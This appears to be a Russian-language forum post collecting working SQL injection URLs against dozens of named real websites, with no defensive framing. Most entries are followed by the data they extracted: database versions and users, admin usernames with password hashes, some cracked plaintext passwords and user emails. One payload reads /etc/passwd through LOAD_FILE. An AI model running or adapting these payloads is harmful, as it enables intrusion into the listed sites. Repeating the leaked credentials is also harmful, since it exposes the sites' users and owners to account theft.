SQL Инъекции

users:
ppkvm - 48a5da7d886197c858585e4f1ee52033
maks - 5adcf11410991e502e9fc96ec5a6100a

хеши рассшифровать не удалось.

Version() 5.0.22-log
Database() wifilab_datab
User() wifilab_userd@localhost

GOOGLE PR - 3
YANDEX TIC - 30

 

http://www.bride-style.ru/arhiv.php?s=-15+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4
4.1.22-log:bridesth_bridest@localhost:bridesth_bridesth

 

http://www.jurasud.fr/show.php?note=1&annuid=109&id=0-35&lien_id=-357+union+select+1,2,3,4,5,6,7,8,9,10,11--
PR: 2
Database Version: 4.0.25-standard-log
Database name: adosovczannu
User name: [email protected]

 

http://www.diversevinyl.com/htm/news.php?id=-903+union+select+1,2,3,4,5,6,7--

5.0.67-community-log:kiboorgu_diverseold:kiboorgu_db@localhost


http://inprint.thesyp.org.uk/news.php?id=124+union+select+1,2,3,4--

4.1.22-log:sypcms:sypcms@localhost

 

http://www.evernewjokes.com/joke-archives.php?start=0&cat_id=-1%20union%20all%20select%201,2,concat(user,0x3a,password),4,5,0x625920746152656e7452655878,7,8,9,10,11,12,13%20from%20admin--

admin:ak47


http://humor.pozri.sk/joke-archives.php?start=25&cat_id=joke-archives.php?start=0&cat_id=-1%20union%20all%20select%201,2,concat(user,0x3a,password),4,5,0x625920746152656e7452655878,7,8,9,10,11,12,13%20from%20admin--

 

http://domos.by/indsp.php?id=-7+union+select+1,concat_ws(0x3a,version(),user(),database()),3
5.0.32-DEBIAN_7ETCH8-LOGOMOSTROY_NEW@LOCALHOSTOM_NEW


http://www.foodsmarket.info/news/arhive.php?id_groups=-7+union+select+1,2,3,concat_ws(0x3a,version(),user(),database

()),5,6,7,8,9,10,11,12

4.1.25:foodsmarketinfo@localhost:foodsmarket_site

http://www.mobilehouse.info/news/arhive.php?id_groups=4+and+substring(version(),1,1)=4

http://stroyshop.info/news/arhive.php?id_groups=3+and+substring(version(),1,1)=4

http://foodstorg.com/news/arhive.php?id_groups=1+and+substring(version(),1,1)=4

 

http://renterbase.com/index.php?user=daysbooking&pid=3+and+substring(version(),1,1)=4
------
http://stluciaexclusive.com/index.php?user=page&id=1+and+substring(version(),1,1)=4
------
http://www.hexxor.com/index.php?user=det&pid=16+and+substring(version(),1,1)=4

ну и так далее, движок одинаковый...
-----
http://belmagazin.com/news/arhive.php?id_groups=1+and+substring(version(),1,1)=4
-----
http://www.kam-pod.net/panorama_list_image.php?id=-63+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6/*

4.1.22-standard-log:kampod_kampod@localhost:kampod_kam

-----
http://meatbusiness.ua/article.php?p=-499+union+select+11111111,version()
5.0.67-community-log

http://meatbusiness.ua/article.php?p=-499+union+select+11111111,count(*)+from+users
274 записи/юзеров

p.s. вывод - title

 

http://avvakul.ru/?id=9&p=1&pid=-2+union+select+1,concat_ws(0x3a3a,user_id,username,user_password,user_session_page,user_session_topic,user_level,user_login_tries,user_last_login_try),3,4,5+from+phpbb_users+--+
shade1387::cb2d5ae1e34ef450ea7aaf43afa29303::-4::0::0 - 4502388786

http://www.bitterlawyer.com/index.php/webisodes/?id=-1'+union+select+1,2,3,4,password,6,7,8,9,10,11,12,13,14,15,16+from+exp_members+/*+
c398d9caa649d574539fdeb11cdc1a6359094c8d

http://www.manicureland.com/index.php?id=1&subid=4&tm=-45+union+select+database()+--+
manicureland

 

http://www.alekseyvorobjev-fan.ru/news/arhive.php?lang=0+and+substring(version(),1,1)=4


http://feli.ru/news/arhive.php?a_y=2009&a_m=-1+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,

8,9,10,11,12,13,14,15,16,17--

5.0.67-log:[email protected]:u32254

http://feli.ru/news/arhive.php?a_y=2009&a_m=-1+union+select+1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+

information_schema.tables--

 

<<АРОМАТЕРАПИЯ>>

Code:

http://www.aroma.od.ua/stat/14/85+union+select+1,2,concat_ws(0x3a2a3a,version(),database(),user(),@@version_compile_os),4,5,6,7--+.html

Code:

http://www.aroma.od.ua/admin/ - бейсик авторизация

5.0.51a-24+lenny1-log:*:aromaPgh:*:u_aromaPgh@localhost:*:debian-linux-gnu

 

Просто интересная скуль:
http://www.macca.org.af/file.php?id=-10+union+select+1,2,version(),4,5,6

 

http://www.e-meter.info/index.php?id=-245+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4
4.1.20-log:[email protected]:e-meter2
-------
Глонасс/ГНСС Форум
http://www.aggf.ru/press/press.php?num_news=-501+union+select+1,2,3,4,concat_Ws(0x3a,version(),user(),database()),6,

7,8,9,10,11,12,13,14

4.1.22-log:[email protected]:aggf2008_db

дырявое, такое же как и сам глонас

-------

http://www.actingmidwest.com/index.php?option=com_jvideo&view=user&user_id=62+and+1=2+union+select+concat(username,0

x3a,password)+from+jos_users

BobCooke:4bae163285ec75527488e23efba7271f
------

http://www.thefranksfam.com/index.php?option=com_jvideo&view=user&user_id=68+and+1=2+union+select+concat(username,0x

3a,password)+from+jos_users

admin:5c18bfa56a0576f3e5838f407714c7b6

-------
http://www.gallowayfullgospel.com/christ/index.php?option=com_jvideo&view=user&user_id=64+and+1=2+union+select+conca

t(username,0x3a,password)+from+jos_users

admin:6c86fdabb5223ba007eb6f8d616907a1

-------
http://kuqeblu.com/index.php?option=com_jvideo&view=user&user_id=62+and+1=2+union+select+concat(username,0x3a,passwo

rd)+from+jos_users

admin:54c250cc5c2a9b97ce06a65cd7931cef

 

http://www.kon-art.ro/items.php?id_scat=23&id_clasa=124+AND+SUBSTRING(version(),1,1)=4/*


Version: 4.1.14
Database :konart
User: konart@localhost
Os: pc-linux-gnu

 

PR 0

Code:

http://endven.sapnagroup.net/index/news.php?id=-20+union+select+1,2,3,4,5,6--

5.0.32-Debian_7etch6-log
Login:staff
E-mail: [email protected]
Pass:05c5997cf4850ae282cfd61e03cc648d :eleph8nt

PR 4

Code:

http://www.photohobby.net/webboard/news.php?id=-20+union+select+1,2,3,4,5,6--

5.0.51a-community-log
Table: user
Columns : usr_password,usr_name, email
--
Table 2: webboard_member
Columns: user, passw, email


PR 3

Code:

http://www.goldenformula.net/news.php?id=-20+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13--

4.1.22-log

PR 1

Code:

http://www.razom.sebastopol.ua/news.php?id=-20+union+select+1,2,3,4,5,6,7,8,9,10--

5.0.67-community
Pass: poddubny
E-mail: [email protected]

 

ajlopez.net

Code:

http://ajlopez.net/Tema.php?Id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12/*

ajlopez_jlopez@localhost:ajlopez_lopez:4.1.22-standard

centrodeapoyoapa.org

Code:

http://www.centrodeapoyoapa.org/articulos/tema.php?id=-1+union+select+concat_ws(0x3a,user(),database(),version())/*

centrodeapoyoapa@localhost:centrodeapoyoapa:4.1.20

infonomia.com

Code:

http://www.infonomia.com/if/articulo.php?id=-1+union+select+1,2,unhex(hex(concat_ws(0x3a,user(),database(),version()))),4,5,6,7,8,9,10,11,12&if=59

bernat@localhost:infonomia:4.1.11-Debian_4sarge7-log

/etc/passwd

Code:

http://www.infonomia.com/if/articulo.php?id=-1+union+select+1,2,LOAD_FILE(0x2F6574632F706173737764),4,5,6,7,8,9,10,11,12&if=59

 

http://club66pro.co.uk/berita.php?view=detail&id=-11+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11

5.0.67:[email protected]:billco_club66pro

 

http://www.paladin.it/eng/news_detail.php?id=398/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9/**/LIMIT/**/1,1/*

Database Version: 5.0.32-Debian_7etch8-log
Database name: paladin
User name: [email protected]

http://www.gemels.it/news_detail.php?id=-11+union+select+1,2,3,4

Database Version: 5.0.32-Debian_7etch10
Database name: gemels_001
User name: dbadmin@localhost

Getting Data from table users from database gemels_001
Fields id:email:usernameassword

[1]:1:[email protected]:demo:demo
[2]:2:[email protected]:marco:niko11
[3]:4:[email protected]:marco11:niko11

 

Code:

http://www.multikov.net/master.php?article=-1'+union+select+1,concat(version(),':',database(),':',user()),3,4,5--%200

 

pr 5

Version() - 4.1.22-standard
database() - aeroport_salt
User() - aeroport@localhost

есть таблца users -поля не подобрал...